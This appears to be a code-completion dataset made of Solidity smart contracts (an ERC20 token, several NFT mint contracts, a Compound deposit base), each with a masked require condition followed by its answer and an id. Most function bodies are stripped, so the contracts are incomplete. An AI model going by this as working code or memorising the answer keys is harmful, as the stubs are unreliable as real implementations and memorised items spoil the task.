function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(tokenLocked == false, 'token locked');
require(<FILL_ME>)
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
}
function setCompleted(uint completed) public restricted {
}
}
contract TGL is ERC20 {
address owner;
string Name = "TGL ASSET";
string Symbol = "TGL";
constructor() ERC20(Name, Symbol) {
}
modifier onlyOwner() {
}
function BeginTokenLock() external onlyOwner {
}
function EndTokenLock() external onlyOwner {
}
function RestrictAddress(address _addressToBeRestricted) public onlyOwner {
}
function UnrestrictAddress(address _addressToBeUnrestricted)
public
onlyOwner
{
}
function setNewOwner(address _owner) external onlyOwner {
}
function mint(address recipient, uint256 amount) external onlyOwner {
}
function burn(address recipient, uint256 amount) external onlyOwner {
}
}
|
RestrictedAddress[sender]!=true,'sender address restricted from transfers'
| 141,234 |
RestrictedAddress[sender]!=true
|
"mint failure"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "erc721a/contracts/ERC721A.sol";
import "./lib/rarible/royalties/contracts/LibPart.sol";
import "./lib/rarible/royalties/contracts/LibRoyaltiesV2.sol";
import "./lib/rarible/royalties/contracts/RoyaltiesV2.sol";
import {DefaultOperatorFilterer} from "./lib/OpenSea/DefaultOperatorFilterer.sol";
contract ANTHEM is ERC721A, DefaultOperatorFilterer, Ownable, ReentrancyGuard, RoyaltiesV2 {
mapping(address => uint256) public whiteLists;
uint256 private _whiteListCount;
uint256 public tokenAmount = 0;
uint256 public privateMintPrice;
uint256 public publicMintPrice;
bool public startPrivateSale = false;
bool public startPublicSale = false;
bool public revealed = false;
uint256 private _maxPublicMintPerTx;
uint256 private _totalSupply;
string private _beforeTokenURI;
string private _afterTokenPath;
mapping(address => uint256) public privateMinted;
// Royality management
bytes4 public constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
address payable public defaultRoyaltiesReceipientAddress;
uint96 public defaultPercentageBasisPoints = 1000; // 10%
constructor(uint256 initTotalSupply, uint256 initMuxPublicPerTx) ERC721A("ANTHEM", "ANTHEM") {
}
function ownerMint(uint256 amount, address _address) external onlyOwner {
require(<FILL_ME>)
_safeMint(_address, amount);
tokenAmount += amount;
}
function privateMint(uint256 amount) external payable nonReentrant {
}
function publicMint(uint256 amount) external payable nonReentrant {
}
function setPrivateMintPrice(uint256 newPrice) external onlyOwner {
}
function setPublicMintPrice(uint256 newPrice) external onlyOwner {
}
function setReveal(bool bool_) external onlyOwner {
}
function setStartPrivateSale(bool bool_) external onlyOwner {
}
function setStartPublicSale(bool bool_) external onlyOwner {
}
function setBeforeURI(string memory beforeTokenURI_) external onlyOwner {
}
function setAfterURI(string memory afterTokenPath_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function deleteWL(address addr) external onlyOwner {
}
function upsertWL(address addr, uint256 maxMint) external onlyOwner {
}
function pushMultiWLSpecifyNum(address[] memory list, uint256 num) external onlyOwner {
}
function getWLCount() external view returns (uint256) {
}
function getWL(address _address) external view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function setTotalSupply(uint256 newTotalSupply) external onlyOwner {
}
function setMaxPublicMintPerTx(uint256 newMaxPublicMintPerTx) external onlyOwner {
}
/**
* @dev disable Ownable renounceOwnership
*/
function renounceOwnership() public override onlyOwner {}
/**
* @dev do withdraw eth.
*/
function withdrawETH() external virtual onlyOwner {
}
/**
* @dev ERC20s should not be sent to this contract, but if someone
* does, it's nice to be able to recover them
* @param token IERC20 the token address
* @param amount uint256 the amount to send
*/
function forwardERC20s(IERC20 token, uint256 amount) external onlyOwner {
}
// Royality management
/**
* @dev set defaultRoyaltiesReceipientAddress
* @param _defaultRoyaltiesReceipientAddress address New royality receipient address
*/
function setDefaultRoyaltiesReceipientAddress(
address payable _defaultRoyaltiesReceipientAddress
) external onlyOwner {
}
/**
* @dev set defaultPercentageBasisPoints
* @param _defaultPercentageBasisPoints uint96 New royality percentagy basis points
*/
function setDefaultPercentageBasisPoints(uint96 _defaultPercentageBasisPoints)
external
onlyOwner
{
}
/**
* @dev return royality for Rarible
*/
function getRaribleV2Royalties(uint256) external view override returns (LibPart.Part[] memory) {
}
/**
* @dev return royality in EIP-2981 standard
* @param _salePrice uint256 sales price of the token royality is calculated
*/
function royaltyInfo(uint256, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
/**
* @dev Interface
*/
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
// operator-filter-registry
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
|
(amount+tokenAmount)<=(_totalSupply),"mint failure"
| 141,511 |
(amount+tokenAmount)<=(_totalSupply)
|
"You have reached your mint limit"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "erc721a/contracts/ERC721A.sol";
import "./lib/rarible/royalties/contracts/LibPart.sol";
import "./lib/rarible/royalties/contracts/LibRoyaltiesV2.sol";
import "./lib/rarible/royalties/contracts/RoyaltiesV2.sol";
import {DefaultOperatorFilterer} from "./lib/OpenSea/DefaultOperatorFilterer.sol";
contract ANTHEM is ERC721A, DefaultOperatorFilterer, Ownable, ReentrancyGuard, RoyaltiesV2 {
mapping(address => uint256) public whiteLists;
uint256 private _whiteListCount;
uint256 public tokenAmount = 0;
uint256 public privateMintPrice;
uint256 public publicMintPrice;
bool public startPrivateSale = false;
bool public startPublicSale = false;
bool public revealed = false;
uint256 private _maxPublicMintPerTx;
uint256 private _totalSupply;
string private _beforeTokenURI;
string private _afterTokenPath;
mapping(address => uint256) public privateMinted;
// Royality management
bytes4 public constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
address payable public defaultRoyaltiesReceipientAddress;
uint96 public defaultPercentageBasisPoints = 1000; // 10%
constructor(uint256 initTotalSupply, uint256 initMuxPublicPerTx) ERC721A("ANTHEM", "ANTHEM") {
}
function ownerMint(uint256 amount, address _address) external onlyOwner {
}
function privateMint(uint256 amount) external payable nonReentrant {
require(startPrivateSale, "sale: Paused");
require(<FILL_ME>)
require(msg.value == privateMintPrice * amount, "Incorrect amount of ETH sent");
require((amount + tokenAmount) <= (_totalSupply), "mint failure");
privateMinted[msg.sender] += amount;
_safeMint(msg.sender, amount);
tokenAmount += amount;
}
function publicMint(uint256 amount) external payable nonReentrant {
}
function setPrivateMintPrice(uint256 newPrice) external onlyOwner {
}
function setPublicMintPrice(uint256 newPrice) external onlyOwner {
}
function setReveal(bool bool_) external onlyOwner {
}
function setStartPrivateSale(bool bool_) external onlyOwner {
}
function setStartPublicSale(bool bool_) external onlyOwner {
}
function setBeforeURI(string memory beforeTokenURI_) external onlyOwner {
}
function setAfterURI(string memory afterTokenPath_) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function deleteWL(address addr) external onlyOwner {
}
function upsertWL(address addr, uint256 maxMint) external onlyOwner {
}
function pushMultiWLSpecifyNum(address[] memory list, uint256 num) external onlyOwner {
}
function getWLCount() external view returns (uint256) {
}
function getWL(address _address) external view returns (uint256) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function setTotalSupply(uint256 newTotalSupply) external onlyOwner {
}
function setMaxPublicMintPerTx(uint256 newMaxPublicMintPerTx) external onlyOwner {
}
/**
* @dev disable Ownable renounceOwnership
*/
function renounceOwnership() public override onlyOwner {}
/**
* @dev do withdraw eth.
*/
function withdrawETH() external virtual onlyOwner {
}
/**
* @dev ERC20s should not be sent to this contract, but if someone
* does, it's nice to be able to recover them
* @param token IERC20 the token address
* @param amount uint256 the amount to send
*/
function forwardERC20s(IERC20 token, uint256 amount) external onlyOwner {
}
// Royality management
/**
* @dev set defaultRoyaltiesReceipientAddress
* @param _defaultRoyaltiesReceipientAddress address New royality receipient address
*/
function setDefaultRoyaltiesReceipientAddress(
address payable _defaultRoyaltiesReceipientAddress
) external onlyOwner {
}
/**
* @dev set defaultPercentageBasisPoints
* @param _defaultPercentageBasisPoints uint96 New royality percentagy basis points
*/
function setDefaultPercentageBasisPoints(uint96 _defaultPercentageBasisPoints)
external
onlyOwner
{
}
/**
* @dev return royality for Rarible
*/
function getRaribleV2Royalties(uint256) external view override returns (LibPart.Part[] memory) {
}
/**
* @dev return royality in EIP-2981 standard
* @param _salePrice uint256 sales price of the token royality is calculated
*/
function royaltyInfo(uint256, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
/**
* @dev Interface
*/
function supportsInterface(bytes4 interfaceId) public view override(ERC721A) returns (bool) {
}
// operator-filter-registry
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
|
whiteLists[msg.sender]>=privateMinted[msg.sender]+amount,"You have reached your mint limit"
| 141,511 |
whiteLists[msg.sender]>=privateMinted[msg.sender]+amount
|
"Max supply exceeded"
|
pragma solidity >=0.8.9 <0.9.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract ToeBeans is ERC721A, Ownable, ReentrancyGuard {
uint256 constant public maxSupply = 1000;
uint256 public cost = 0.1 ether;
uint256 public maxMintAmountPerTx = 10;
uint256 public startSaleTime = 1657866600; // Fri Jul 15 2022 06:30:00 GMT+0000
string public uriPrefix = "";
string public uriSuffix = ".json";
constructor() ERC721A("TOE BEANS", "TOE") {
}
function mint(uint256 _amt) public payable nonReentrant {
require(block.timestamp > startSaleTime, "Mint is not start");
require(msg.value >= cost * _amt, "Insufficient funds");
require(_amt > 0 && _amt <= maxMintAmountPerTx, "Invalid mint amount");
require(<FILL_ME>)
_mint(_msgSender(), _amt);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setStartSaleTime(uint256 _time) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
address private openSeaRegistryAddress;
function setOpenSeaRegistryAddress(address a) public onlyOwner {
}
function isApprovedForAll(address owner, address operator) public override view returns (bool) {
}
}
|
totalSupply()+_amt<=maxSupply,"Max supply exceeded"
| 141,520 |
totalSupply()+_amt<=maxSupply
|
"CompoundPCVDeposit: Not a cToken"
|
pragma solidity ^0.8.0;
interface CToken {
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function isCToken() external view returns (bool);
function isCEther() external view returns (bool);
}
/// @title base class for a Compound PCV Deposit
/// @author Fei Protocol
abstract contract CompoundPCVDepositBase is PCVDeposit {
CToken public cToken;
uint256 private constant EXCHANGE_RATE_SCALE = 1e18;
/// @notice Compound PCV Deposit constructor
/// @param _core Fei Core for reference
/// @param _cToken Compound cToken to deposit
constructor(address _core, address _cToken) CoreRef(_core) {
cToken = CToken(_cToken);
require(<FILL_ME>)
}
/// @notice withdraw tokens from the PCV allocation
/// @param amountUnderlying of tokens withdrawn
/// @param to the address to send PCV to
function withdraw(address to, uint256 amountUnderlying)
external
override
onlyPCVController
whenNotPaused
{
}
/// @notice returns total balance of PCV in the Deposit excluding the FEI
/// @dev returns stale values from Compound if the market hasn't been updated
function balance() public view override returns (uint256) {
}
function _transferUnderlying(address to, uint256 amount) internal virtual;
}
|
cToken.isCToken(),"CompoundPCVDeposit: Not a cToken"
| 141,608 |
cToken.isCToken()
|
"CompoundPCVDeposit: redeem error"
|
pragma solidity ^0.8.0;
interface CToken {
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function isCToken() external view returns (bool);
function isCEther() external view returns (bool);
}
/// @title base class for a Compound PCV Deposit
/// @author Fei Protocol
abstract contract CompoundPCVDepositBase is PCVDeposit {
CToken public cToken;
uint256 private constant EXCHANGE_RATE_SCALE = 1e18;
/// @notice Compound PCV Deposit constructor
/// @param _core Fei Core for reference
/// @param _cToken Compound cToken to deposit
constructor(address _core, address _cToken) CoreRef(_core) {
}
/// @notice withdraw tokens from the PCV allocation
/// @param amountUnderlying of tokens withdrawn
/// @param to the address to send PCV to
function withdraw(address to, uint256 amountUnderlying)
external
override
onlyPCVController
whenNotPaused
{
require(<FILL_ME>)
_transferUnderlying(to, amountUnderlying);
emit Withdrawal(msg.sender, to, amountUnderlying);
}
/// @notice returns total balance of PCV in the Deposit excluding the FEI
/// @dev returns stale values from Compound if the market hasn't been updated
function balance() public view override returns (uint256) {
}
function _transferUnderlying(address to, uint256 amount) internal virtual;
}
|
cToken.redeemUnderlying(amountUnderlying)==0,"CompoundPCVDeposit: redeem error"
| 141,608 |
cToken.redeemUnderlying(amountUnderlying)==0
|
"Not owner"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
uint256 amount = fighterIds.length;
require(msg.value == amount * mintPriceWithPotion, "Bad value");
for (uint256 i = 0; i < amount; i++) {
uint256 fighterId = fighterIds[i];
require(<FILL_ME>)
require(!hasV1FighterBeenUpgraded[fighterId], "Upgraded");
hasV1FighterBeenUpgraded[fighterId] = true;
v2ToV1Mapping[_currentIndex + i] = fighterId;
}
cryptoFightersPotion.burnPotionForAddress(msg.sender, amount);
_safeMint(msg.sender, amount);
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
IERC721(cryptoFightersV1).ownerOf(fighterId)==msg.sender,"Not owner"
| 141,649 |
IERC721(cryptoFightersV1).ownerOf(fighterId)==msg.sender
|
"Upgraded"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
uint256 amount = fighterIds.length;
require(msg.value == amount * mintPriceWithPotion, "Bad value");
for (uint256 i = 0; i < amount; i++) {
uint256 fighterId = fighterIds[i];
require(
IERC721(cryptoFightersV1).ownerOf(fighterId) == msg.sender,
"Not owner"
);
require(<FILL_ME>)
hasV1FighterBeenUpgraded[fighterId] = true;
v2ToV1Mapping[_currentIndex + i] = fighterId;
}
cryptoFightersPotion.burnPotionForAddress(msg.sender, amount);
_safeMint(msg.sender, amount);
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
